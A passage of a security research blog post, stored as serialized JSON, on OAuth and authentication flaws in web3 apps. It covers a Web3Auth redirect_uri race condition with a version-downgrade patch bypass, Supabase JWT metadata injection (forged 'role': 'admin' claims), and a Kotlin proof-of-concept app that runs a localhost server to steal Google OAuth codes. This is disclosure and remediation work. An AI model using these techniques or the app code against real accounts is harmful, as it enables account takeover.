(",{"type":26,"tag":83,"props":95587,"children":95589},{"className":95588},[],[95590],{"type":32,"value":95483},{"type":32,"value":95592},") but before  use (",{"type":26,"tag":83,"props":95594,"children":95596},{"className":95595},[],[95597],{"type":32,"value":95583},{"type":32,"value":8256},{"type":26,"tag":39,"props":95600,"children":95601},{},[95602,95604,95611,95613,95618],{"type":32,"value":95603},"To exploit this ",{"type":26,"tag":163,"props":95605,"children":95608},{"href":95606,"rel":95607},"https://portswigger.net/web-security/race-conditions",[167],[95609],{"type":32,"value":95610},"race condition",{"type":32,"value":95612},",  an attacker-controlled website can initiate the authentication flow normally. Then, it can send another request to the session server with the same ",{"type":26,"tag":83,"props":95614,"children":95616},{"className":95615},[],[95617],{"type":32,"value":95528},{"type":32,"value":95619}," but with modified malicious parameters.",{"type":26,"tag":39,"props":95621,"children":95622},{},[95623],{"type":26,"tag":9348,"props":95624,"children":95625},{},[95626],{"type":32,"value":95627},"What can be modified to achieve something impactful?",{"type":26,"tag":39,"props":95629,"children":95630},{},[95631,95633,95638,95640,95645],{"type":32,"value":95632},"The answer is quite simple if you understand how OAuth works. The attacker can simply change the ",{"type":26,"tag":83,"props":95634,"children":95636},{"className":95635},[],[95637],{"type":32,"value":64380},{"type":32,"value":95639}," parameter to point to their own website and leak the secret token from the query string. With the secret token, they can authenticate against the application defined by ",{"type":26,"tag":83,"props":95641,"children":95643},{"className":95642},[],[95644],{"type":32,"value":64511},{"type":32,"value":180},{"type":26,"tag":39,"props":95647,"children":95648},{},[95649],{"type":26,"tag":6468,"props":95650,"children":95652},{"alt":9464,"src":95651},"/posts/web2-in-web3/image-3.png",[],{"type":26,"tag":39,"props":95654,"children":95655},{},[95656],{"type":32,"value":95657},"Using this exploit, we were able to create a website capable of taking over the accounts of victims who followed the standard OAuth flow.",{"type":26,"tag":607,"props":95659,"children":95661},{"id":95660},"patch-bypass",[95662],{"type":32,"value":95663},"Patch & Bypass",{"type":26,"tag":39,"props":95665,"children":95666},{},[95667],{"type":32,"value":95668},"The vulnerability was reported and remediated on the same day (super quickly!). However, we found that the fix was not backported to older versions.",{"type":26,"tag":39,"props":95670,"children":95671},{},[95672],{"type":32,"value":95673},"To bypass the fix we were able to change the version in the URL:",{"type":26,"tag":2040,"props":95675,"children":95676},{},[95677,95688],{"type":26,"tag":2044,"props":95678,"children":95679},{},[95680,95686],{"type":26,"tag":83,"props":95681,"children":95683},{"className":95682},[],[95684],{"type":32,"value":95685},"https://auth.web3auth.io/v8/start",{"type":32,"value":95687}," (latest version)",{"type":26,"tag":2044,"props":95689,"children":95690},{},[95691,95697],{"type":26,"tag":83,"props":95692,"children":95694},{"className":95693},[],[95695],{"type":32,"value":95696},"https://auth.web3auth.io/v6/start",{"type":32,"value":95698}," (bypass)",{"type":26,"tag":39,"props":95700,"children":95701},{},[95702],{"type":32,"value":95703},"We reported this issue, and it was addressed just as quickly!",{"type":26,"tag":27,"props":95705,"children":95707},{"id":95706},"supabase-metadata-manipulation",[95708],{"type":32,"value":95709},"Supabase metadata manipulation",{"type":26,"tag":607,"props":95711,"children":95713},{"id":95712},"supabase-authentication-flow",[95714],{"type":32,"value":95715},"Supabase Authentication flow",{"type":26,"tag":39,"props":95717,"children":95718},{},[95719,95726,95728,95735],{"type":26,"tag":163,"props":95720,"children":95723},{"href":95721,"rel":95722},"https://supabase.com/docs/guides/auth",[167],[95724],{"type":32,"value":95725},"Supabase",{"type":32,"value":95727}," is a Backend-as-a-Service (BaaS) platform that provides authentication, database, and real-time APIs. The authentication process begins when a user registers or logs in. Supabase generates a ",{"type":26,"tag":163,"props":95729,"children":95732},{"href":95730,"rel":95731},"https://jwt.io/",[167],[95733],{"type":32,"value":95734},"JWT",{"type":32,"value":95736}," for the authenticated user, embedding claims such as the user ID, roles, and additional metadata (either user-provided or system-generated). This token is then returned to the client and used for subsequent API requests, during which the server validates the JWT to confirm the user’s identity and permissions.",{"type":26,"tag":607,"props":95738,"children":95740},{"id":95739},"jwt-verification",[95741],{"type":32,"value":95742},"JWT verification",{"type":26,"tag":39,"props":95744,"children":95745},{},[95746,95748,95753,95754,95760,95762,95768],{"type":32,"value":95747},"In one of our clients' systems, we discovered a vulnerability that allowed the inclusion of custom fields, such as ",{"type":26,"tag":83,"props":95749,"children":95751},{"className":95750},[],[95752],{"type":32,"value":95397},{"type":32,"value":1308},{"type":26,"tag":83,"props":95755,"children":95757},{"className":95756},[],[95758],{"type":32,"value":95759},"identity_data",{"type":32,"value":95761},", in a signup request by manipulating the input inside the ",{"type":26,"tag":83,"props":95763,"children":95765},{"className":95764},[],[95766],{"type":32,"value":95767},"\"data\": {}",{"type":32,"value":95769}," structure. These fields were then directly reflected in the issued JWT without validation.",{"type":26,"tag":39,"props":95771,"children":95772},{},[95773,95775,95781,95782,95788,95790,95796],{"type":32,"value":95774},"For example, an attacker could send a signup request with arbitrary data, such as ",{"type":26,"tag":83,"props":95776,"children":95778},{"className":95777},[],[95779],{"type":32,"value":95780},"\"role\": \"admin\"",{"type":32,"value":9438},{"type":26,"tag":83,"props":95783,"children":95785},{"className":95784},[],[95786],{"type":32,"value":95787},"\"email_verified\": true",{"type":32,"value":95789},", which would subsequently be included in the JWT claims. Additionally, it was possible to insert arbitrary fields beyond typical inputs, such as ",{"type":26,"tag":83,"props":95791,"children":95793},{"className":95792},[],[95794],{"type":32,"value":95795},"\"test\": \"test\"",{"type":32,"value":95797},", enabling us to inject arbitrary data into the final JWT token.",{"type":26,"tag":39,"props":95799,"children":95800},{},[95801],{"type":26,"tag":6468,"props":95802,"children":95804},{"alt":9464,"src":95803},"/posts/web2-in-web3/image-4.png",[],{"type":26,"tag":39,"props":95806,"children":95807},{},[95808],{"type":32,"value":95809},"In this example we are controlling the \"role\" field within the user metadata. If the application manage roles using the metadata, it would be vulnerable to a privilege escalation since anyone could inject any role there.",{"type":26,"tag":39,"props":95811,"children":95812},{},[95813],{"type":32,"value":95814},"The attacker could subsequently log in on the main platform, retrieve the token, and verify that their injected parameters persist in the JWT by submitting it to a verification endpoint. This happens because a function parseSupaBase was parsing and verifying everything generated by the JWT supabase token.",{"type":26,"tag":207,"props":95816,"children":95818},{"className":24581,"code":95817,"language":24580,"meta":8,"style":8},"function parseSupaBase(token) {\n    try {\n        const [header, payload, signature] = token.split('.');\n        const decodedHeader = JSON.parse(atob(header));\n        const decodedPayload = JSON.parse(atob(payload));\n        return { header: decodedHeader, payload: decodedPayload, signature };\n    } catch (error) {\n        console.error('Error parsing token:', error);\n        return null;\n    }\n}\n",[95819],{"type":26,"tag":83,"props":95820,"children":95821},{"__ignoreMap":8},[95822,95847,95858,95928,95977,96025,96071,96094,96131,96146,96153],{"type":26,"tag":217,"props":95823,"children":95824},{"class":7028,"line":7029},[95825,95829,95834,95838,95843],{"type":26,"tag":217,"props":95826,"children":95827},{"style":7154},[95828],{"type":32,"value":7604},{"type":26,"tag":217,"props":95830,"children":95831},{"style":7064},[95832],{"type":32,"value":95833}," parseSupaBase",{"type":26,"tag":217,"props":95835,"children":95836},{"style":7048},[95837],{"type":32,"value":1851},{"type":26,"tag":217,"props":95839,"children":95840},{"style":7054},[95841],{"type":32,"value":95842},"token",{"type":26,"tag":217,"props":95844,"children":95845},{"style":7048},[95846],{"type":32,"value":7618},{"type":26,"tag":217,"props":95848,"children":95849},{"class":7028,"line":6770},[95850,95854],{"type":26,"tag":217,"props":95851,"children":95852},{"style":7042},[95853],{"type":32,"value":68097},{"type":26,"tag":217,"props":95855,"children":95856},{"style":7048},[95857],{"type":32,"value":8064},{"type":26,"tag":217,"props":95859,"children":95860},{"class":7028,"line":6779},[95861,95866,95871,95876,95880,95885,95889,95894,95898,95902,95907,95911,95915,95919,95924],{"type":26,"tag":217,"props":95862,"children":95863},{"style":7154},[95864],{"type":32,"value":95865},"        const",{"type":26,"tag":217,"props":95867,"children":95868},{"style":7048},[95869],{"type":32,"value":95870}," [",{"type":26,"tag":217,"props":95872,"children":95873},{"style":7054},[95874],{"type":32,"value":95875},"header",{"type":26,"tag":217,"props":95877,"children":95878},{"style":7048},[95879],{"type":32,"value":7599},{"type":26,"tag":217,"props":95881,"children":95882},{"style":7054},[95883],{"type":32,"value":95884},"payload",{"type":26,"tag":217,"props":95886,"children":95887},{"style":7048},[95888],{"type":32,"value":7599},{"type":26,"tag":217,"props":95890,"children":95891},{"style":7054},[95892],{"type":32,"value":95893},"signature",{"type":26,"tag":217,"props":95895,"children":95896},{"style":7048},[95897],{"type":32,"value":10276},{"type":26,"tag":217,"props":95899,"children":95900},{"style":7149},[95901],{"type":32,"value":267},{"type":26,"tag":217,"props":95903,"children":95904},{"style":7054},[95905],{"type":32,"value":95906}," token",{"type":26,"tag":217,"props":95908,"children":95909},{"style":7048},[95910],{"type":32,"value":180},{"type":26,"tag":217,"props":95912,"children":95913},{"style":7064},[95914],{"type":32,"value":89475},{"type":26,"tag":217,"props":95916,"children":95917},{"style":7048},[95918],{"type":32,"value":1851},{"type":26,"tag":217,"props":95920,"children":95921},{"style":7338},[95922],{"type":32,"value":95923},"'.'",{"type":26,"tag":217,"props":95925,"children":95926},{"style":7048},[95927],{"type":32,"value":7669},{"type":26,"tag":217,"props":95929,"children":95930},{"class":7028,"line":7140},[95931,95935,95940,95944,95948,95952,95956,95960,95965,95969,95973],{"type":26,"tag":217,"props":95932,"children":95933},{"style":7154},[95934],{"type":32,"value":95865},{"type":26,"tag":217,"props":95936,"children":95937},{"style":7054},[95938],{"type":32,"value":95939}," decodedHeader",{"type":26,"tag":217,"props":95941,"children":95942},{"style":7149},[95943],{"type":32,"value":8993},{"type":26,"tag":217,"props":95945,"children":95946},{"style":7054},[95947],{"type":32,"value":67547},{"type":26,"tag":217,"props":95949,"children":95950},{"style":7048},[95951],{"type":32,"value":180},{"type":26,"tag":217,"props":95953,"children":95954},{"style":7064},[95955],{"type":32,"value":65079},{"type":26,"tag":217,"props":95957,"children":95958},{"style":7048},[95959],{"type":32,"value":1851},{"type":26,"tag":217,"props":95961,"children":95962},{"style":7064},[95963],{"type":32,"value":95964},"atob",{"type":26,"tag":217,"props":95966,"children":95967},{"style":7048},[95968],{"type":32,"value":1851},{"type":26,"tag":217,"props":95970,"children":95971},{"style":7054},[95972],{"type":32,"value":95875},{"type":26,"tag":217,"props":95974,"children":95975},{"style":7048},[95976],{"type":32,"value":8697},{"type":26,"tag":217,"props":95978,"children":95979},{"class":7028,"line":7165},[95980,95984,95989,95993,95997,96001,96005,96009,96013,96017,96021],{"type":26,"tag":217,"props":95981,"children":95982},{"style":7154},[95983],{"type":32,"value":95865},{"type":26,"tag":217,"props":95985,"children":95986},{"style":7054},[95987],{"type":32,"value":95988}," decodedPayload",{"type":26,"tag":217,"props":95990,"children":95991},{"style":7149},[95992],{"type":32,"value":8993},{"type":26,"tag":217,"props":95994,"children":95995},{"style":7054},[95996],{"type":32,"value":67547},{"type":26,"tag":217,"props":95998,"children":95999},{"style":7048},[96000],{"type":32,"value":180},{"type":26,"tag":217,"props":96002,"children":96003},{"style":7064},[96004],{"type":32,"value":65079},{"type":26,"tag":217,"props":96006,"children":96007},{"style":7048},[96008],{"type":32,"value":1851},{"type":26,"tag":217,"props":96010,"children":96011},{"style":7064},[96012],{"type":32,"value":95964},{"type":26,"tag":217,"props":96014,"children":96015},{"style":7048},[96016],{"type":32,"value":1851},{"type":26,"tag":217,"props":96018,"children":96019},{"style":7054},[96020],{"type":32,"value":95884},{"type":26,"tag":217,"props":96022,"children":96023},{"style":7048},[96024],{"type":32,"value":8697},{"type":26,"tag":217,"props":96026,"children":96027},{"class":7028,"line":7178},[96028,96032,96036,96041,96045,96049,96054,96058,96062,96066],{"type":26,"tag":217,"props":96029,"children":96030},{"style":7042},[96031],{"type":32,"value":9737},{"type":26,"tag":217,"props":96033,"children":96034},{"style":7048},[96035],{"type":32,"value":65337},{"type":26,"tag":217,"props":96037,"children":96038},{"style":7054},[96039],{"type":32,"value":96040},"header:",{"type":26,"tag":217,"props":96042,"children":96043},{"style":7054},[96044],{"type":32,"value":95939},{"type":26,"tag":217,"props":96046,"children":96047},{"style":7048},[96048],{"type":32,"value":7599},{"type":26,"tag":217,"props":96050,"children":96051},{"style":7054},[96052],{"type":32,"value":96053},"payload:",{"type":26,"tag":217,"props":96055,"children":96056},{"style":7054},[96057],{"type":32,"value":95988},{"type":26,"tag":217,"props":96059,"children":96060},{"style":7048},[96061],{"type":32,"value":7599},{"type":26,"tag":217,"props":96063,"children":96064},{"style":7054},[96065],{"type":32,"value":95893},{"type":26,"tag":217,"props":96067,"children":96068},{"style":7048},[96069],{"type":32,"value":96070}," };\n",{"type":26,"tag":217,"props":96072,"children":96073},{"class":7028,"line":7389},[96074,96078,96082,96086,96090],{"type":26,"tag":217,"props":96075,"children":96076},{"style":7048},[96077],{"type":32,"value":40847},{"type":26,"tag":217,"props":96079,"children":96080},{"style":7042},[96081],{"type":32,"value":24775},{"type":26,"tag":217,"props":96083,"children":96084},{"style":7048},[96085],{"type":32,"value":7051},{"type":26,"tag":217,"props":96087,"children":96088},{"style":7054},[96089],{"type":32,"value":7747},{"type":26,"tag":217,"props":96091,"children":96092},{"style":7048},[96093],{"type":32,"value":7618},{"type":26,"tag":217,"props":96095,"children":96096},{"class":7028,"line":7406},[96097,96102,96106,96110,96114,96119,96123,96127],{"type":26,"tag":217,"props":96098,"children":96099},{"style":7054},[96100],{"type":32,"value":96101},"        console",{"type":26,"tag":217,"props":96103,"children":96104},{"style":7048},[96105],{"type":32,"value":180},{"type":26,"tag":217,"props":96107,"children":96108},{"style":7064},[96109],{"type":32,"value":7747},{"type":26,"tag":217,"props":96111,"children":96112},{"style":7048},[96113],{"type":32,"value":1851},{"type":26,"tag":217,"props":96115,"children":96116},{"style":7338},[96117],{"type":32,"value":96118},"'Error parsing token:'",{"type":26,"tag":217,"props":96120,"children":96121},{"style":7048},[96122],{"type":32,"value":7599},{"type":26,"tag":217,"props":96124,"children":96125},{"style":7054},[96126],{"type":32,"value":7747},{"type":26,"tag":217,"props":96128,"children":96129},{"style":7048},[96130],{"type":32,"value":7669},{"type":26,"tag":217,"props":96132,"children":96133},{"class":7028,"line":7439},[96134,96138,96142],{"type":26,"tag":217,"props":96135,"children":96136},{"style":7042},[96137],{"type":32,"value":9737},{"type":26,"tag":217,"props":96139,"children":96140},{"style":7154},[96141],{"type":32,"value":7157},{"type":26,"tag":217,"props":96143,"children":96144},{"style":7048},[96145],{"type":32,"value":7162},{"type":26,"tag":217,"props":96147,"children":96148},{"class":7028,"line":7487},[96149],{"type":26,"tag":217,"props":96150,"children":96151},{"style":7048},[96152],{"type":32,"value":9754},{"type":26,"tag":217,"props":96154,"children":96155},{"class":7028,"line":7524},[96156],{"type":26,"tag":217,"props":96157,"children":96158},{"style":7048},[96159],{"type":32,"value":7184},{"type":26,"tag":607,"props":96161,"children":96162},{"id":66685},[96163],{"type":32,"value":66688},{"type":26,"tag":39,"props":96165,"children":96166},{},[96167,96169,96176,96178,96184],{"type":32,"value":96168},"Developers should avoid trusting input from their Supabase custom domain. ",{"type":26,"tag":163,"props":96170,"children":96173},{"href":96171,"rel":96172},"https://supabase.com/docs/guides/database/postgres/row-level-security",[167],[96174],{"type":32,"value":96175},"Row-Level Security",{"type":32,"value":96177}," (RLS) on Supabase should be enforced, plus important and private fields should be defined in ",{"type":26,"tag":83,"props":96179,"children":96181},{"className":96180},[],[96182],{"type":32,"value":96183},"app_metadata",{"type":32,"value":96185},". These fields must be strictly validated at every step of their creation and update processes.",{"type":26,"tag":27,"props":96187,"children":96189},{"id":96188},"oauth-in-development-environments",[96190],{"type":32,"value":96191},"OAuth in development environments",{"type":26,"tag":39,"props":96193,"children":96194},{},[96195,96197,96203,96205,96210],{"type":32,"value":96196},"After watching a ",{"type":26,"tag":163,"props":96198,"children":96201},{"href":96199,"rel":96200},"https://docs.google.com/presentation/d/1571_ZSOtfVat9u63zfn1ugTPZRN7pQsFIblcxci3czM/edit",[167],[96202],{"type":32,"value":31928},{"type":32,"value":96204}," by Luan Herrera on exploiting the logic of desktop apps that use OAuth for authentication (specifically using a localhost server), we noticed that many of our customers also permitted localhost within the ",{"type":26,"tag":83,"props":96206,"children":96208},{"className":96207},[],[96209],{"type":32,"value":64380},{"type":32,"value":96211}," parameter during the OAuth flow.",{"type":26,"tag":39,"props":96213,"children":96214},{},[96215,96217,96224],{"type":32,"value":96216},"Herrera's research highlights that if localhost is allowed as a redirect URI, it is generally not exploitable in a desktop environment because impersonating localhost without ",{"type":26,"tag":163,"props":96218,"children":96221},{"href":96219,"rel":96220},"https://www.cloudflare.com/learning/security/what-is-remote-code-execution/",[167],[96222],{"type":32,"value":96223},"Remote Code Execution",{"type":32,"value":96225}," (RCE) is impossible. However, the scenario changes in a mobile environment, where it is feasible to open a localhost web server using a malicious app, making exploitation possible.",{"type":26,"tag":39,"props":96227,"children":96228},{},[96229,96231,96237],{"type":32,"value":96230},"In one of our client's implementations, we identified that ",{"type":26,"tag":83,"props":96232,"children":96234},{"className":96233},[],[96235],{"type":32,"value":96236},"localhost:3000",{"type":32,"value":96238}," was permitted. The exploitation method is the same as demonstrated in Herrera's talk. However, we observed that localhost servers are frequently used and whitelisted by developers, not only for desktop applications but also for testing and development environments.",{"type":26,"tag":39,"props":96240,"children":96241},{},[96242],{"type":32,"value":96243},"For the exploitation, the final Google OAuth URL was constructed as follows:",{"type":26,"tag":207,"props":96245,"children":96248},{"className":96246,"code":96247,"language":7721,"meta":8,"style":8},"language-url shiki shiki-themes slack-dark","https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\n",[96249],{"type":26,"tag":83,"props":96250,"children":96251},{"__ignoreMap":8},[96252],{"type":26,"tag":217,"props":96253,"children":96254},{"class":7028,"line":7029},[96255],{"type":26,"tag":217,"props":96256,"children":96257},{},[96258],{"type":32,"value":96247},{"type":26,"tag":39,"props":96260,"children":96261},{},[96262],{"type":32,"value":96263},"Since there was no public exploit, we also created a proof of concept demonstrating how a malicious APK can be created to steal the OAuth token simply by opening the malicious app. This occurs without any user interaction and results in account takeover.",{"type":26,"tag":207,"props":96265,"children":96269},{"className":96266,"code":96267,"language":96268,"meta":8,"style":8},"language-kotlin shiki shiki-themes slack-dark","class MainActivity : AppCompatActivity() {\n\n    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n\n        // Start the Ktor web server\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        // Open the Google OAuth page\n        val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            meta(charset = \"UTF-8\")\n                            meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n                            title(\"OAuth Redirect\")\n                        }\n                        body {\n                            h1 { +\"Google OAuth Redirect\" }\n                            script {\n                                +\"document.body.innerText = location.search;\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n}\n","kotlin",[96270],{"type":26,"tag":83,"props":96271,"children":96272},{"__ignoreMap":8},[96273,96299,96306,96333,96352,96359,96366,96385,96396,96407,96438,96461,96508,96515,96522,96529,96536,96556,96587,96598,96605,96612,96631,96654,96665,96684,96699,96710,96733,96768,96787,96794,96805,96828,96839,96851,96858,96865,96872,96879,96886,96913,96920],{"type":26,"tag":217,"props":96274,"children":96275},{"class":7028,"line":7029},[96276,96280,96285,96290,96295],{"type":26,"tag":217,"props":96277,"children":96278},{"style":7154},[96279],{"type":32,"value":74684},{"type":26,"tag":217,"props":96281,"children":96282},{"style":7119},[96283],{"type":32,"value":96284}," MainActivity",{"type":26,"tag":217,"props":96286,"children":96287},{"style":7048},[96288],{"type":32,"value":96289}," : ",{"type":26,"tag":217,"props":96291,"children":96292},{"style":7119},[96293],{"type":32,"value":96294},"AppCompatActivity",{"type":26,"tag":217,"props":96296,"children":96297},{"style":7048},[96298],{"type":32,"value":7841},{"type":26,"tag":217,"props":96300,"children":96301},{"class":7028,"line":6770},[96302],{"type":26,"tag":217,"props":96303,"children":96304},{"emptyLinePlaceholder":17},[96305],{"type":32,"value":7817},{"type":26,"tag":217,"props":96307,"children":96308},{"class":7028,"line":6779},[96309,96313,96317,96321,96325,96329],{"type":26,"tag":217,"props":96310,"children":96311},{"style":7154},[96312],{"type":32,"value":65481},{"type":26,"tag":217,"props":96314,"children":96315},{"style":7154},[96316],{"type":32,"value":64784},{"type":26,"tag":217,"props":96318,"children":96319},{"style":7064},[96320],{"type":32,"value":64789},{"type":26,"tag":217,"props":96322,"children":96323},{"style":7048},[96324],{"type":32,"value":64794},{"type":26,"tag":217,"props":96326,"children":96327},{"style":7119},[96328],{"type":32,"value":64799},{"type":26,"tag":217,"props":96330,"children":96331},{"style":7048},[96332],{"type":32,"value":65502},{"type":26,"tag":217,"props":96334,"children":96335},{"class":7028,"line":7140},[96336,96340,96344,96348],{"type":26,"tag":217,"props":96337,"children":96338},{"style":7154},[96339],{"type":32,"value":64812},{"type":26,"tag":217,"props":96341,"children":96342},{"style":7048},[96343],{"type":32,"value":180},{"type":26,"tag":217,"props":96345,"children":96346},{"style":7064},[96347],{"type":32,"value":64821},{"type":26,"tag":217,"props":96349,"children":96350},{"style":7048},[96351],{"type":32,"value":64826},{"type":26,"tag":217,"props":96353,"children":96354},{"class":7028,"line":7165},[96355],{"type":26,"tag":217,"props":96356,"children":96357},{"emptyLinePlaceholder":17},[96358],{"type":32,"value":7817},{"type":26,"tag":217,"props":96360,"children":96361},{"class":7028,"line":7178},[96362],{"type":26,"tag":217,"props":96363,"children":96364},{"style":7033},[96365],{"type":32,"value":64841},{"type":26,"tag":217,"props":96367,"children":96368},{"class":7028,"line":7389},[96369,96373,96377,96381],{"type":26,"tag":217,"props":96370,"children":96371},{"style":7064},[96372],{"type":32,"value":64849},{"type":26,"tag":217,"props":96374,"children":96375},{"style":7048},[96376],{"type":32,"value":64854},{"type":26,"tag":217,"props":96378,"children":96379},{"style":7064},[96380],{"type":32,"value":64859},{"type":26,"tag":217,"props":96382,"children":96383},{"style":7048},[96384],{"type":32,"value":8064},{"type":26,"tag":217,"props":96386,"children":96387},{"class":7028,"line":7406},[96388,96392],{"type":26,"tag":217,"props":96389,"children":96390},{"style":7042},[96391],{"type":32,"value":64871},{"type":26,"tag":217,"props":96393,"children":96394},{"style":7048},[96395],{"type":32,"value":8064},{"type":26,"tag":217,"props":96397,"children":96398},{"class":7028,"line":7439},[96399,96403],{"type":26,"tag":217,"props":96400,"children":96401},{"style":7064},[96402],{"type":32,"value":64883},{"type":26,"tag":217,"props":96404,"children":96405},{"style":7048},[96406],{"type":32,"value":64888},{"type":26,"tag":217,"props":96408,"children":96409},{"class":7028,"line":7487},[96410,96414,96418,96422,96426,96430,96434],{"type":26,"tag":217,"props":96411,"children":96412},{"style":7048},[96413],{"type":32,"value":64896},{"type":26,"tag":217,"props":96415,"children":96416},{"style":7064},[96417],{"type":32,"value":22057},{"type":26,"tag":217,"props":96419,"children":96420},{"style":7048},[96421],{"type":32,"value":1851},{"type":26,"tag":217,"props":96423,"children":96424},{"style":7338},[96425],{"type":32,"value":64909},{"type":26,"tag":217,"props":96427,"children":96428},{"style":7048},[96429],{"type":32,"value":7599},{"type":26,"tag":217,"props":96431,"children":96432},{"style":7338},[96433],{"type":32,"value":64918},{"type":26,"tag":217,"props":96435,"children":96436},{"style":7048},[96437],{"type":32,"value":10025},{"type":26,"tag":217,"props":96439,"children":96440},{"class":7028,"line":7524},[96441,96445,96449,96453,96457],{"type":26,"tag":217,"props":96442,"children":96443},{"style":7048},[96444],{"type":32,"value":60702},{"type":26,"tag":217,"props":96446,"children":96447},{"style":7154},[96448],{"type":32,"value":24775},{"type":26,"tag":217,"props":96450,"children":96451},{"style":7048},[96452],{"type":32,"value":64938},{"type":26,"tag":217,"props":96454,"children":96455},{"style":7119},[96456],{"type":32,"value":64943},{"type":26,"tag":217,"props":96458,"children":96459},{"style":7048},[96460],{"type":32,"value":7618},{"type":26,"tag":217,"props":96462,"children":96463},{"class":7028,"line":7553},[96464,96468,96472,96476,96480,96484,96488,96492,96496,96500,96504],{"type":26,"tag":217,"props":96465,"children":96466},{"style":7048},[96467],{"type":32,"value":64896},{"type":26,"tag":217,"props":96469,"children":96470},{"style":7064},[96471],{"type":32,"value":2400},{"type":26,"tag":217,"props":96473,"children":96474},{"style":7048},[96475],{"type":32,"value":1851},{"type":26,"tag":217,"props":96477,"children":96478},{"style":7338},[96479],{"type":32,"value":64909},{"type":26,"tag":217,"props":96481,"children":96482},{"style":7048},[96483],{"type":32,"value":7599},{"type":26,"tag":217,"props":96485,"children":96486},{"style":7338},[96487],{"type":32,"value":64975},{"type":26,"tag":217,"props":96489,"children":96490},{"style":7154},[96491],{"type":32,"value":7641},{"type":26,"tag":217,"props":96493,"children":96494},{"style":7149},[96495],{"type":32,"value":64984},{"type":26,"tag":217,"props":96497,"children":96498},{"style":7154},[96499],{"type":32,"value":7659},{"type":26,"tag":217,"props":96501,"children":96502},{"style":7338},[96503],{"type":32,"value":9007},{"type":26,"tag":217,"props":96505,"children":96506},{"style":7048},[96507],{"type":32,"value":64997},{"type":26,"tag":217,"props":96509,"children":96510},{"class":7028,"line":7570},[96511],{"type":26,"tag":217,"props":96512,"children":96513},{"style":7048},[96514],{"type":32,"value":36205},{"type":26,"tag":217,"props":96516,"children":96517},{"class":7028,"line":7621},[96518],{"type":26,"tag":217,"props":96519,"children":96520},{"style":7048},[96521],{"type":32,"value":8722},{"type":26,"tag":217,"props":96523,"children":96524},{"class":7028,"line":7672},[96525],{"type":26,"tag":217,"props":96526,"children":96527},{"emptyLinePlaceholder":17},[96528],{"type":32,"value":7817},{"type":26,"tag":217,"props":96530,"children":96531},{"class":7028,"line":7681},[96532],{"type":26,"tag":217,"props":96533,"children":96534},{"style":7033},[96535],{"type":32,"value":65026},{"type":26,"tag":217,"props":96537,"children":96538},{"class":7028,"line":7754},[96539,96543,96547,96551],{"type":26,"tag":217,"props":96540,"children":96541},{"style":7154},[96542],{"type":32,"value":65034},{"type":26,"tag":217,"props":96544,"children":96545},{"style":7048},[96546],{"type":32,"value":65039},{"type":26,"tag":217,"props":96548,"children":96549},{"style":7149},[96550],{"type":32,"value":267},{"type":26,"tag":217,"props":96552,"children":96553},{"style":7338},[96554],{"type":32,"value":96555}," \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n",{"type":26,"tag":217,"props":96557,"children":96558},{"class":7028,"line":7784},[96559,96563,96567,96571,96575,96579,96583],{"type":26,"tag":217,"props":96560,"children":96561},{"style":7154},[96562],{"type":32,"value":65034},{"type":26,"tag":217,"props":96564,"children":96565},{"style":7048},[96566],{"type":32,"value":65060},{"type":26,"tag":217,"props":96568,"children":96569},{"style":7149},[96570],{"type":32,"value":267},{"type":26,"tag":217,"props":96572,"children":96573},{"style":7064},[96574],{"type":32,"value":65069},{"type":26,"tag":217,"props":96576,"children":96577},{"style":7048},[96578],{"type":32,"value":65074},{"type":26,"tag":217,"props":96580,"children":96581},{"style":7064},[96582],{"type":32,"value":65079},{"type":26,"tag":217,"props":96584,"children":96585},{"style":7048},[96586],{"type":32,"value":65084},{"type":26,"tag":217,"props":96588,"children":96589},{"class":7028,"line":7802},[96590,96594],{"type":26,"tag":217,"props":96591,"children":96592},{"style":7064},[96593],{"type":32,"value":65092},{"type":26,"tag":217,"props":96595,"children":96596},{"style":7048},[96597],{"type":32,"value":65097},{"type":26,"tag":217,"props":96599,"children":96600},{"class":7028,"line":7811},[96601],{"type":26,"tag":217,"props":96602,"children":96603},{"style":7048},[96604],{"type":32,"value":9754},{"type":26,"tag":217,"props":96606,"children":96607},{"class":7028,"line":7820},[96608],{"type":26,"tag":217,"props":96609,"children":96610},{"emptyLinePlaceholder":17},[96611],{"type":32,"value":7817},{"type":26,"tag":217,"props":96613,"children":96614},{"class":7028,"line":7844},[96615,96619,96623,96627],{"type":26,"tag":217,"props":96616,"children":96617},{"style":7154},[96618],{"type":32,"value":8931},{"type":26,